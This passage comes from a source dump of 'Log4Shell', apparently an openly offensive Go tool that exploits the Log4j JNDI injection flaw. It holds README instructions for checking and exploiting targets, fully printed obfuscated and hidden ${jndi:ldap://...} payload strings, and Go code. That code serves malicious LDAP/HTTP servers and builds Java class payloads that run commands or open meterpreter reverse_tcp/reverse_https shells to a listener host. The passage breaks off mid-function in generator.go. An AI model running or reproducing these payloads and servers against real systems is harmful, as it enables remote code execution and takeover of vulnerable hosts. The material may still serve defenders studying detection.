-lport 8443 -luri test" -class "Test" 45 | 46 | The generated class file will be saved to the payload directory(can set output flag) 47 | ``` 48 | 49 | ### Obfuscate malicious(payload) string 50 | ``` 51 | Log4Shell.exe -obf "${jndi:ldap://1.1.1.1:3890/Calc}" 52 | ``` 53 | ``` 54 | raw: ${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh} 55 | 56 | ${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:- 57 | da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo 58 | @-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.m 59 | Q:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s 60 | :-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h} 61 | 62 | Each string can only be used once, or wait 20 seconds. 63 | ``` 64 | ``` 65 | When obfuscate malicious(payload) string, log4j2 package will repeat execute it, the number of 66 | repetitions is equal the number of occurrences about string "${". The LDAP server add a simple 67 | token mechanism for prevent it. 68 | ``` 69 | 70 | ### Hide malicious(payload) string 71 | ``` 72 | Log4Shell.exe -obf "${jndi:ldap://127.0.0.1:3890/Calc}" -hide 73 | ``` 74 | ``` 75 | raw: ${jndi:ldap://127.0.0.1:3890/Calc$YG=.z[.od7rH0XpE} 76 | ``` 77 | ``` 78 | Execute VulApp: 79 | 80 | E:\OneDrive\Projects\Golang\GitHub\Log4Shell\vulapp\jar>D:\Java\jdk1.8.0_121\bin\java -jar 81 | vulapp.jar ${j${0395i1-WV[nM-Pv:-nd}i${KoxnAt-KVA6T4:Xggnr:-}:${vlt0_:xTI:-}${kMe=A:QD3FK: 82 | -l}d${SaS-TmMt:-a}${uQH-oRFIXtw-4[:-}p:${XL9-bkp9k]-xz:-//}12${D@-rF@wGm:-7.0}.${Fuc:SCV6B 83 | m:-}${W1eelS:1jnUDknTJS:*7aHahf2m:vK:-0.1}${ft:4Zbf5Hf1G:Tskg:-:3}${6WH[wc:Fencc:-8}${24Y: 84 | 5h=5SqK-p(X9:-9}${oYCk6-RDIN5a$Od:U]3iOEVv:7MiEj:-0/C}${NzvB:]6T9$_O9-F.IUl-NnZq:-a}lc$YG= 85 | ${*E-5M:-.z[}${N_9@-6(l0sy-b(6.6t-y7NC*:-}${0i-4eS4kB:-.}${5WnL-LKTO554q-x[d:-od7}rH0$${oC 86 | :.XYPyzv6-sPH.]*Ls:$@Q:-XpE}} 87 | ${j${0395i1-WV[nM-Pv:-nd}i${KoxnAt-KVA6T4:Xggnr:-}:${vlt0_:xTI:-}${kMe=A:QD3FK:-l}d${SaS-T 88 | mMt:-a}${uQH-oRFIXtw-4[:-}p:${XL9-bkp9k]-xz:-//}12${D@-rF@wGm:-7.0}.${Fuc:SCV6Bm:-}${W1eel 89 | S:1jnUDknTJS:*7aHahf2m:vK:-0.1}${ft:4Zbf5Hf1G:Tskg:-:3}${6WH[wc:Fencc:-8}${24Y:5h=5SqK-p(X 90 | 9:-9}${oYCk6-RDIN5a$Od:U]3iOEVv:7MiEj:-0/C}${NzvB:]6T9$_O9-F.IUl-NnZq:-a}lc$YG=${*E-5M:-.z 91 | [}${N_9@-6(l0sy-b(6.6t-y7NC*:-}${0i-4eS4kB:-.}${5WnL-LKTO554q-x[d:-od7}rH0$${oC:.XYPyzv6-s 92 | PH.]*Ls:$@Q:-XpE}} 93 | 15:49:14.676 [main] ERROR log4j - XpE} 94 | 95 | E:\OneDrive\Projects\Golang\GitHub\Log4Shell\vulapp\jar> 96 | ``` 97 | ``` 98 | The Logger will only record a part of raw string "15:49:14.676 [main] ERROR log4j - XpE}", 99 | and repeat execute will not appear(I don't know why this happened). 100 | ``` 101 | 102 | ## Check 103 | * start Log4Shell server 104 | * send ```${jndi:ldap://1.1.1.1:3890/Nop}``` 105 | * send ```${jndi:ldaps://example.com:3890/Nop}``` with TLS 106 | 107 | ## Exploit 108 | * start Log4Shell server 109 | * put your class file to the payload directory 110 | * send ```${jndi:ldap://1.1.1.1:3890/Meterpreter}``` 111 | * send ```${jndi:ldaps://example.com:3890/Meterpreter}``` with TLS 112 | * meterpreter will open source after some time 113 | 114 | ## VulApp 115 | * VulApp is a vulnerable Java program that use log4j2 package. 116 | * You can use it for develop this project easily. 117 | * ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/Calc}``` 118 | 119 | ## Help 120 | ``` 121 | ::: :::::::: :::::::: ::: :::::::: ::: ::: :::::::::: ::: ::: 122 | :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: 123 | +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ 124 | +#+ +#+ +:+ :#: +#+ +:+ +#++:++#++ +#++:++#++ +#++:++# +#+ +#+ 125 | +#+ +#+ +#+ +#+ +#+# +#+#+#+#+#+ +#+ +#+ +#+ +#+ +#+ +#+ 126 | #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# 127 | ######## ######## ######## ### ######## ### ### ########## ######## ######## 128 | 129 | https://github.com/For-ACGN/Log4Shell 130 | 131 | Usage of Log4Shell.exe: 132 | -args string 133 | arguments about generate Java class file 134 | -auto-cert 135 | use ACME client to sign certificate automatically 136 | -class string 137 | specify the new class name 138 | -gen string 139 | generate Java class file with template name 140 | -hide 141 | hide obfuscated malicious(payload) string in log4j2 142 | -host string 143 | server IP address or domain name (default "127.0.0.1") 144 | -http-addr string 145 | http server address (default ":8080") 146 | -http-net string 147 | http server network (default "tcp") 148 | -ldap-addr string 149 | ldap server address (default ":3890") 150 | -ldap-net string 151 | ldap server network (default "tcp") 152 | -no-token 153 | not add random token when use obfuscate 154 | -obf string 155 | obfuscate malicious(payload) string 156 | -output string 157 | generated Java class file output path 158 | -payload string 159 | payload(java class) directory (default "payload") 160 | -tls-cert string 161 | tls certificate file path (default "cert.pem") 162 | -tls-key string 163 | tls private key file path (default "key.pem") 164 | -tls-server 165 | enable ldaps and https server 166 | ``` 167 | 168 | ## Screenshot 169 | ![](https://github.com/For-ACGN/Log4Shell/raw/main/screenshot.png) 170 | -------------------------------------------------------------------------------- /autocert.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "crypto/tls" 5 | "os" 6 | 7 | "github.com/pkg/errors" 8 | "golang.org/x/crypto/acme/autocert" 9 | ) 10 | 11 | // autoSignCert use a ACME client to send a request to Let's Encrypt. 12 | // Your Config.Hostname must be domain name, and this program running 13 | // at the server that IP address will be resolved. 14 | func autoSignCert(domain string) (*tls.Certificate, error) { 15 | const certDir = "autocert" 16 | 17 | err := os.MkdirAll(certDir, 0700) 18 | if err != nil { 19 | return nil, errors.WithStack(err) 20 | } 21 | mgr := autocert.Manager{ 22 | Prompt: autocert.AcceptTOS, 23 | HostPolicy: autocert.HostWhitelist(domain), 24 | Cache: autocert.DirCache(certDir), 25 | } 26 | clientHello := tls.ClientHelloInfo{ 27 | ServerName: domain, 28 | } 29 | tlsCert, err := mgr.GetCertificate(&clientHello) 30 | if err != nil { 31 | return nil, errors.Wrap(err, "failed to sign certificate") 32 | } 33 | return tlsCert, nil 34 | } 35 | -------------------------------------------------------------------------------- /autocert_test.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | // func TestNewListener(t *testing.T) { 4 | // const testDomain = "test" 5 | // 6 | // mux := http.NewServeMux() 7 | // mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { 8 | // fmt.Fprintf(w, "Hello, TLS user! Your config: %+v", r.TLS) 9 | // }) 10 | // server := http.Server{} 11 | // server.Handler = mux 12 | // go func() { 13 | // 14 | // http.DefaultClient.Transport = &http.Transport{} 15 | // 16 | // listener := autocert.NewListener(testDomain) 17 | // conn, err := listener.Accept() 18 | // require.NoError(t, err) 19 | // 20 | // buf := make([]byte, 4096) 21 | // n, err := conn.Read(buf) 22 | // fmt.Println("err:", err) 23 | // fmt.Println(string(buf[:n])) 24 | // 25 | // fmt.Println(conn.RemoteAddr()) 26 | // 27 | // // log.Fatal(server.Serve(autocert.NewListener("example.com"))) 28 | // }() 29 | // 30 | // cfg := tls.Config{ 31 | // ServerName: testDomain, 32 | // } 33 | // 34 | // client := http.Client{ 35 | // Transport: &http.Transport{ 36 | // TLSClientConfig: &cfg, 37 | // }, 38 | // } 39 | // 40 | // req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:443/", nil) 41 | // require.NoError(t, err) 42 | // req.Host = testDomain 43 | // 44 | // resp, err := client.Do(req) 45 | // require.NoError(t, err) 46 | // 47 | // fmt.Println(resp.StatusCode) 48 | // 49 | // // conn, err := tls.Dial("tcp", "127.0.0.1:443", &cfg) 50 | // // require.NoError(t, err) 51 | // // 52 | // // _, err = conn.Write([]byte{1, 2, 3, 4}) 53 | // // require.NoError(t, err) 54 | // } 55 | -------------------------------------------------------------------------------- /build.bat: -------------------------------------------------------------------------------- 1 | mkdir bin 2 | cd bin 3 | 4 | set GOOS=windows 5 | set GOARCH=386 6 | go build -v -trimpath -ldflags "-s -w" -o Log4Shell_386.exe ../cmd/main.go 7 | 8 | set GOOS=windows 9 | set GOARCH=amd64 10 | go build -v -trimpath -ldflags "-s -w" -o Log4Shell_amd64.exe ../cmd/main.go 11 | 12 | set GOOS=linux 13 | set GOARCH=386 14 | go build -v -trimpath -ldflags "-s -w" -o Log4Shell_386.elf ../cmd/main.go 15 | 16 | set GOOS=linux 17 | set GOARCH=amd64 18 | go build -v -trimpath -ldflags "-s -w" -o Log4Shell_amd64.elf ../cmd/main.go 19 | 20 | cd .. -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | mkdir bin 2 | cd bin 3 | 4 | set GOOS=windows 5 | set GOARCH=386 6 | go build -v -trimpath -ldflags "-s -w" -o log4shell_386.exe ../cmd/main.go 7 | 8 | set GOOS=windows 9 | set GOARCH=amd64 10 | go build -v -trimpath -ldflags "-s -w" -o log4shell_amd64.exe ../cmd/main.go 11 | 12 | set GOOS=linux 13 | set GOARCH=386 14 | go build -v -trimpath -ldflags "-s -w" -o log4shell_386.elf ../cmd/main.go 15 | 16 | set GOOS=linux 17 | set GOARCH=amd64 18 | go build -v -trimpath -ldflags "-s -w" -o log4shell_amd64.elf ../cmd/main.go 19 | 20 | cd .. -------------------------------------------------------------------------------- /check.bat: -------------------------------------------------------------------------------- 1 | golint -set_exit_status -min_confidence 0.3 ./... 2 | gocyclo -avg -over 15 . 3 | golangci-lint run ./... 4 | gosec -quiet ./... -------------------------------------------------------------------------------- /check.sh: -------------------------------------------------------------------------------- 1 | golint -set_exit_status -min_confidence 0.3 ./... 2 | gocyclo -avg -over 15 . 3 | golangci-lint run ./... 4 | gosec -quiet ./... -------------------------------------------------------------------------------- /cmd/build.bat: -------------------------------------------------------------------------------- 1 | go build -v -trimpath -ldflags "-s -w" -o Log4Shell.exe -------------------------------------------------------------------------------- /cmd/build.sh: -------------------------------------------------------------------------------- 1 | go build -v -trimpath -ldflags "-s -w" -o log4shell -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "flag" 6 | "fmt" 7 | "log" 8 | "net" 9 | "os" 10 | "os/signal" 11 | "path/filepath" 12 | 13 | "github.com/For-ACGN/Log4Shell" 14 | ) 15 | 16 | var ( 17 | config log4shell.Config 18 | certFile string 19 | keyFile string 20 | obfRaw string 21 | noToken bool 22 | hide bool 23 | genClass string 24 | genArgs string 25 | gnClass string 26 | genOut string 27 | ) 28 | 29 | func init() { 30 | banner() 31 | 32 | flag.CommandLine.SetOutput(os.Stdout) 33 | flag.StringVar(&config.Hostname, "host", "127.0.0.1", "server IP address or domain name") 34 | flag.StringVar(&config.PayloadDir, "payload", "payload", "payload(java class) directory") 35 | flag.StringVar(&config.HTTPNetwork, "http-net", "tcp", "http server network") 36 | flag.StringVar(&config.HTTPAddress, "http-addr", ":8080", "http server address") 37 | flag.StringVar(&config.LDAPNetwork, "ldap-net", "tcp", "ldap server network") 38 | flag.StringVar(&config.LDAPAddress, "ldap-addr", ":3890", "ldap server address") 39 | flag.BoolVar(&config.AutoCert, "auto-cert", false, "use ACME client to sign certificate automatically") 40 | flag.BoolVar(&config.EnableTLS, "tls-server", false, "enable ldaps and https server") 41 | flag.StringVar(&certFile, "tls-cert", "cert.pem", "tls certificate file path") 42 | flag.StringVar(&keyFile, "tls-key", "key.pem", "tls private key file path") 43 | flag.StringVar(&obfRaw, "obf", "", "obfuscate malicious(payload) string") 44 | flag.BoolVar(&noToken, "no-token", false, "not add random token when use obfuscate") 45 | flag.BoolVar(&hide, "hide", false, "hide obfuscated malicious(payload) string in log4j2") 46 | flag.StringVar(&genClass, "gen", "", "generate Java class file with template name") 47 | flag.StringVar(&genArgs, "args", "", "arguments about generate Java class file") 48 | flag.StringVar(&gnClass, "class", "", "specify the new class name") 49 | flag.StringVar(&genOut, "output", "", "generated Java class file output path") 50 | flag.Parse() 51 | } 52 | 53 | func banner() { 54 | fmt.Println() 55 | fmt.Println(" ::: :::::::: :::::::: ::: :::::::: ::: ::: :::::::::: ::: ::: ") 56 | fmt.Println(" :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: ") 57 | fmt.Println(" +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ ") 58 | fmt.Println(" +#+ +#+ +:+ :#: +#+ +:+ +#++:++#++ +#++:++#++ +#++:++# +#+ +#+ ") 59 | fmt.Println(" +#+ +#+ +#+ +#+ +#+# +#+#+#+#+#+ +#+ +#+ +#+ +#+ +#+ +#+ ") 60 | fmt.Println(" #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# ") 61 | fmt.Println(" ######## ######## ######## ### ######## ### ### ########## ######## ########") 62 | fmt.Println() 63 | fmt.Println(" https://github.com/For-ACGN/Log4Shell") 64 | fmt.Println() 65 | } 66 | 67 | func main() { 68 | switch { 69 | case obfRaw != "": 70 | obfuscate() 71 | return 72 | case genClass != "": 73 | generateClass() 74 | return 75 | } 76 | 77 | // load tls certificate 78 | if config.EnableTLS { 79 | cert, err := tls.LoadX509KeyPair(certFile, keyFile) 80 | checkError(err) 81 | config.TLSCert = cert 82 | } 83 | config.Logger = os.Stdout 84 | 85 | // start log4shell server 86 | server, err := log4shell.New(&config) 87 | checkError(err) 88 | 89 | // print one example for obfuscate string easily 90 | var ldap string 91 | if server.IsEnableTLS() { 92 | ldap = "ldaps" 93 | } else { 94 | ldap = "ldap" 95 | } 96 | _, port, err := net.SplitHostPort(server.LDAPAddress()) 97 | checkError(err) 98 | address := net.JoinHostPort(config.Hostname, port) 99 | example := fmt.Sprintf("${jndi:%s://%s/Calc}", ldap, address) 100 | fmt.Printf("example: %s\n\n", example) 101 | 102 | err = server.Start() 103 | checkError(err) 104 | 105 | // wait signal for stop log4shell server 106 | signalCh := make(chan os.Signal, 1) 107 | signal.Notify(signalCh, os.Interrupt) 108 | <-signalCh 109 | 110 | err = server.Stop() 111 | checkError(err) 112 | } 113 | 114 | func obfuscate() { 115 | var ( 116 | obfuscated string 117 | rawWithToken string 118 | ) 119 | if hide { 120 | obfuscated, rawWithToken = log4shell.ObfuscateWithDollar(obfRaw, !noToken) 121 | } else { 122 | obfuscated, rawWithToken = log4shell.Obfuscate(obfRaw, !noToken) 123 | } 124 | var raw string 125 | if noToken { 126 | raw = obfRaw 127 | } else { 128 | raw = rawWithToken 129 | } 130 | fmt.Printf("raw: %s\n\n", raw) 131 | fmt.Println(obfuscated) 132 | if noToken { 133 | return 134 | } 135 | const notice = "\nEach string can only be used once, or wait %d seconds.\n" 136 | fmt.Printf(notice, log4shell.TokenExpireTime) 137 | } 138 | 139 | func generateClass() { 140 | switch genClass { 141 | case "execute": 142 | generateExecute() 143 | case "system": 144 | generateSystem() 145 | case "reverse_tcp": 146 | generateReverseTCP() 147 | case "reverse_https": 148 | generateReverseHTTPS() 149 | default: 150 | fmt.Println("supported Java class template: execute, system, reverse_tcp, reverse_https") 151 | fmt.Println() 152 | log.Fatalf("[error] unknown Java class template name: \"%s\"\n", genClass) 153 | } 154 | fmt.Println("Save generated Java class file to the path:", genOut) 155 | } 156 | 157 | func generateExecute() { 158 | template, err := os.ReadFile("template/Execute.class") 159 | checkError(err) 160 | 161 | args := flag.NewFlagSet("Execute", flag.ExitOnError) 162 | args.SetOutput(os.Stdout) 163 | var command string 164 | args.StringVar(&command, "cmd", "", "the executed command") 165 | _ = args.Parse(log4shell.CommandLineToArgs(genArgs)) 166 | 167 | if command == "" { 168 | args.PrintDefaults() 169 | os.Exit(2) 170 | } 171 | if gnClass == "" { 172 | gnClass = "Execute" 173 | } 174 | if genOut == "" { 175 | genOut = filepath.Join(config.PayloadDir, gnClass+".class") 176 | } 177 | 178 | data, err := log4shell.GenerateExecute(template, command, gnClass) 179 | checkError(err) 180 | err = os.WriteFile(genOut, data, 0600) 181 | checkError(err) 182 | } 183 | 184 | func generateSystem() { 185 | template, err := os.ReadFile("template/System.class") 186 | checkError(err) 187 | 188 | args := flag.NewFlagSet("System", flag.ExitOnError) 189 | args.SetOutput(os.Stdout) 190 | var ( 191 | binary string 192 | arguments string 193 | ) 194 | args.StringVar(&binary, "bin", "", "the executed binary") 195 | args.StringVar(&arguments, "args", "", "the executed arguments") 196 | _ = args.Parse(log4shell.CommandLineToArgs(genArgs)) 197 | 198 | if binary == "" { 199 | args.PrintDefaults() 200 | os.Exit(2) 201 | } 202 | if gnClass == "" { 203 | gnClass = "System" 204 | } 205 | if genOut == "" { 206 | genOut = filepath.Join(config.PayloadDir, gnClass+".class") 207 | } 208 | 209 | data, err := log4shell.GenerateSystem(template, binary, arguments, gnClass) 210 | checkError(err) 211 | err = os.WriteFile(genOut, data, 0600) 212 | checkError(err) 213 | } 214 | 215 | func generateReverseTCP() { 216 | template, err := os.ReadFile("template/ReverseTCP.class") 217 | checkError(err) 218 | 219 | args := flag.NewFlagSet("meterpreter/reverse_tcp", flag.ExitOnError) 220 | args.SetOutput(os.Stdout) 221 | var ( 222 | host string 223 | port uint 224 | ) 225 | args.StringVar(&host, "lhost", "", "listener host") 226 | args.UintVar(&port, "lport", 4444, "listener port") 227 | _ = args.Parse(log4shell.CommandLineToArgs(genArgs)) 228 | 229 | if host == "" { 230 | args.PrintDefaults() 231 | os.Exit(2) 232 | } 233 | if port > 65535 { 234 | fmt.Println("[error]", "invalid port:", port) 235 | os.Exit(2) 236 | } 237 | if gnClass == "" { 238 | gnClass = "ReverseTCP" 239 | } 240 | if genOut == "" { 241 | genOut = filepath.Join(config.PayloadDir, gnClass+".class") 242 | } 243 | 244 | data, err := log4shell.GenerateReverseTCP(template, host, uint16(port), "", gnClass) 245 | checkError(err) 246 | err = os.WriteFile(genOut, data, 0600) 247 | checkError(err) 248 | } 249 | 250 | func generateReverseHTTPS() { 251 | template, err := os.ReadFile("template/ReverseHTTPS.class") 252 | checkError(err) 253 | 254 | args := flag.NewFlagSet("meterpreter/reverse_https", flag.ExitOnError) 255 | args.SetOutput(os.Stdout) 256 | var ( 257 | host string 258 | port uint 259 | uri string 260 | ua string 261 | ) 262 | args.StringVar(&host, "lhost", "", "listener host") 263 | args.UintVar(&port, "lport", 8443, "listener port") 264 | args.StringVar(&uri, "luri", "", "http path") 265 | args.StringVar(&ua, "ua", "", "user agent") 266 | _ = args.Parse(log4shell.CommandLineToArgs(genArgs)) 267 | 268 | if host == "" { 269 | args.PrintDefaults() 270 | os.Exit(2) 271 | } 272 | if port > 65535 { 273 | fmt.Println("[error]", "invalid port:", port) 274 | os.Exit(2) 275 | } 276 | if gnClass == "" { 277 | gnClass = "ReverseHTTPS" 278 | } 279 | if genOut == "" { 280 | genOut = filepath.Join(config.PayloadDir, gnClass+".class") 281 | } 282 | 283 | data, err := log4shell.GenerateReverseHTTPS(template, host, uint16(port), uri, ua, "", gnClass) 284 | checkError(err) 285 | err = os.WriteFile(genOut, data, 0600) 286 | checkError(err) 287 | } 288 | 289 | func checkError(err error) { 290 | if err != nil { 291 | log.Fatalln("[error]", err) 292 | } 293 | } 294 | -------------------------------------------------------------------------------- /cmd/payload/Calc.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/cmd/payload/Calc.class -------------------------------------------------------------------------------- /cmd/payload/Nop.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/cmd/payload/Nop.class -------------------------------------------------------------------------------- /cmd/payload/Notepad.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/cmd/payload/Notepad.class -------------------------------------------------------------------------------- /cmd/template/Execute.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/cmd/template/Execute.class -------------------------------------------------------------------------------- /cmd/template/System.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/cmd/template/System.class -------------------------------------------------------------------------------- /command.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | // CommandLineToArgs splits a command line into individual argument 4 | // strings, following the Windows conventions documented 5 | // at http://daviddeley.com/autohotkey/parameters/parameters.htm#WINARGV 6 | func CommandLineToArgs(cmd string) []string { 7 | var args []string 8 | for len(cmd) > 0 { 9 | if cmd[0] == ' ' || cmd[0] == '\t' { 10 | cmd = cmd[1:] 11 | continue 12 | } 13 | var arg []byte 14 | arg, cmd = readNextArg(cmd) 15 | args = append(args, string(arg)) 16 | } 17 | return args 18 | } 19 | 20 | // readNextArg splits command line string cmd into next 21 | // argument and command line remainder. 22 | func readNextArg(cmd string) (arg []byte, rest string) { 23 | var b []byte 24 | var inQuote bool 25 | var nSlash int 26 | for ; len(cmd) > 0; cmd = cmd[1:] { 27 | c := cmd[0] 28 | switch c { 29 | case ' ', '\t': 30 | if !inQuote { 31 | return appendBSBytes(b, nSlash), cmd[1:] 32 | } 33 | case '"': 34 | b = appendBSBytes(b, nSlash/2) 35 | if nSlash%2 == 0 { 36 | // use "Prior to 2008" rule from 37 | // http://daviddeley.com/autohotkey/parameters/parameters.htm 38 | // section 5.2 to deal with double quotes 39 | if inQuote && len(cmd) > 1 && cmd[1] == '"' { 40 | b = append(b, c) 41 | cmd = cmd[1:] 42 | } 43 | inQuote = !inQuote 44 | } else { 45 | b = append(b, c) 46 | } 47 | nSlash = 0 48 | continue 49 | case '\\': 50 | nSlash++ 51 | continue 52 | } 53 | b = appendBSBytes(b, nSlash) 54 | nSlash = 0 55 | b = append(b, c) 56 | } 57 | return appendBSBytes(b, nSlash), "" 58 | } 59 | 60 | // appendBSBytes appends n '\\' bytes to b and returns the resulting slice. 61 | func appendBSBytes(b []byte, n int) []byte { 62 | for ; n > 0; n-- { 63 | b = append(b, '\\') 64 | } 65 | return b 66 | } 67 | -------------------------------------------------------------------------------- /command_test.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/require" 7 | ) 8 | 9 | func TestCommandLineToArgs(t *testing.T) { 10 | exe1 := "exe1" 11 | exe2 := `"exe2 arg1"` 12 | for _, testdata := range [...]*struct { 13 | cmd string 14 | args []string 15 | }{ 16 | {"net", []string{"net"}}, 17 | {`net -a -b`, []string{"net", "-a", "-b"}}, 18 | {`net -a -b "a"`, []string{"net", "-a", "-b", "a"}}, 19 | {`"net net"`, []string{"net net"}}, 20 | {`"net\net"`, []string{`net\net`}}, 21 | {`"net\net net"`, []string{`net\net net`}}, 22 | {`net -a \"net`, []string{"net", "-a", `"net`}}, 23 | {`net -a ""`, []string{"net", "-a", ""}}, 24 | {`""net"" -a -b`, []string{"net", "-a", "-b"}}, 25 | {`"""net""" -a`, []string{`"net"`, "-a"}}, 26 | } { 27 | args := CommandLineToArgs(exe1 + " " + testdata.cmd) 28 | require.Equal(t, append([]string{"exe1"}, testdata.args...), args) 29 | 30 | args = CommandLineToArgs(exe2 + " " + testdata.cmd) 31 | require.Equal(t, append([]string{"exe2 arg1"}, testdata.args...), args) 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /generator.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "fmt" 7 | "strconv" 8 | 9 | "github.com/pkg/errors" 10 | ) 11 | 12 | // GenerateExecute is used to generate class file for execute command. 13 | func GenerateExecute(template []byte, command, class string) ([]byte, error) { 14 | const ( 15 | fileName = "Execute.java" 16 | commandFlag = "${cmd}" 17 | className = "Execute\x01" 18 | uint16Size = 2 19 | ) 20 | 21 | err := checkJavaClass(template) 22 | if err != nil { 23 | return nil, err 24 | } 25 | 26 | // find three special strings 27 | fileNameIdx := bytes.Index(template, []byte(fileName)) 28 | if fileNameIdx == -1 { 29 | return nil, errors.New("failed to find file name in execute template") 30 | } 31 | commandIdx := bytes.Index(template, []byte(commandFlag)) 32 | if commandIdx == -1 { 33 | return nil, errors.New("failed to find command flag in execute template") 34 | } 35 | classNameIdx := bytes.Index(template, []byte(className)) 36 | if classNameIdx == -1 { 37 | return nil, errors.New("failed to find class name in execute template") 38 | } 39 | 40 | // check arguments 41 | if command == "" { 42 | return nil, errors.New("empty command") 43 | } 44 | if class == "" { 45 | class = "Execute" 46 | } 47 | 48 | // generate output class file 49 | output := bytes.NewBuffer(make([]byte, 0, len(template)+128)) 50 | 51 | // change file name 52 | output.Write(template[:fileNameIdx-uint16Size]) 53 | newFileName := class + ".java" 54 | size := beUint16ToBytes(uint16(len(newFileName))) 55 | output.Write(size) 56 | output.WriteString(newFileName) 57 | 58 | // change command 59 | output.Write(template[fileNameIdx+len(fileName) : commandIdx-uint16Size]) 60 | size = beUint16ToBytes(uint16(len(command))) 61 | output.Write(size) 62 | output.WriteString(command) 63 | 64 | // change class name 65 | output.Write(template[commandIdx+len(commandFlag) : classNameIdx-uint16Size]) 66 | size = beUint16ToBytes(uint16(len(class))) 67 | output.Write(size) 68 | output.WriteString(class) 69 | 70 | output.Write(template[classNameIdx+len(className)-1:]) 71 | return output.Bytes(), nil 72 | } 73 | 74 | // GenerateSystem is used to generate class file for execute command with arguments. 75 | func GenerateSystem(template []byte, binary, arguments, class string) ([]byte, error) { 76 | const ( 77 | fileName = "System.java" 78 | binaryFlag = "${bin}" 79 | argumentFlag = "${args}" 80 | className = "System\x01" 81 | uint16Size = 2 82 | ) 83 | 84 | err := checkJavaClass(template) 85 | if err != nil { 86 | return nil, err 87 | } 88 | 89 | // find three special strings 90 | fileNameIdx := bytes.Index(template, []byte(fileName)) 91 | if fileNameIdx == -1 { 92 | return nil, errors.New("failed to find file name in system template") 93 | } 94 | binaryIdx := bytes.Index(template, []byte(binaryFlag)) 95 | if binaryIdx == -1 { 96 | return nil, errors.New("failed to find binary flag in system template") 97 | } 98 | argumentIdx := bytes.Index(template, []byte(argumentFlag)) 99 | if argumentIdx == -1 { 100 | return nil, errors.New("failed to find argument flag in system template") 101 | } 102 | classNameIdx := bytes.Index(template, []byte(className)) 103 | if classNameIdx == -1 { 104 | return nil, errors.New("failed to find class name in system template") 105 | } 106 | 107 | // check arguments 108 | if binary == "" { 109 | return nil, errors.New("empty binary") 110 | } 111 | if class == "" { 112 | class = "System" 113 | } 114 | 115 | // generate output class file 116 | output := bytes.NewBuffer(make([]byte, 0, len(template)+128)) 117 | 118 | // change file name 119 | output.Write(template[:fileNameIdx-uint16Size]) 120 | newFileName := class + ".java" 121 | size := beUint16ToBytes(uint16(len(newFileName))) 122 | output.Write(size) 123 | output.WriteString(newFileName) 124 | 125 | // change binary 126 | output.Write(template[fileNameIdx+len(fileName) : binaryIdx-uint16Size]) 127 | size = beUint16ToBytes(uint16(len(binary))) 128 | output.Write(size) 129 | output.WriteString(binary) 130 | 131 | // change argument 132 | output.Write(template[binaryIdx+len(binaryFlag) : argumentIdx-uint16Size]) 133 | size = beUint16ToBytes(uint16(len(arguments))) 134 | output.Write(size) 135 | output.WriteString(arguments) 136 | 137 | // change class name 138 | output.Write(template[argumentIdx+len(argumentFlag) : classNameIdx-uint16Size]) 139 | size = beUint16ToBytes(uint16(len(class))) 140 | output.Write(size) 141 | output.WriteString(class) 142 | 143 | output.Write(template[classNameIdx+len(className)-1:]) 144 | return output.Bytes(), nil 145 | } 146 | 147 | // GenerateReverseTCP is used to generate class file for meterpreter 148 | // payload/java/meterpreter/reverse_tcp. 149 | func GenerateReverseTCP(template []byte, host string, port uint16, token, class string) ([]byte, error) { 150 | const ( 151 | fileName = "ReverseTCP.java" 152 | hostFlag = "${host}" 153 | portFlag = "${port}" 154 | tokenFlag = "${token}" 155 | className = "ReverseTCP\x0C" 156 | uint16Size = 2 157 | ) 158 | 159 | err := checkJavaClass(template) 160 | if err != nil { 161 | return nil, err 162 | } 163 | 164 | // find three special strings 165 | fileNameIdx := bytes.Index(template, []byte(fileName)) 166 | if fileNameIdx == 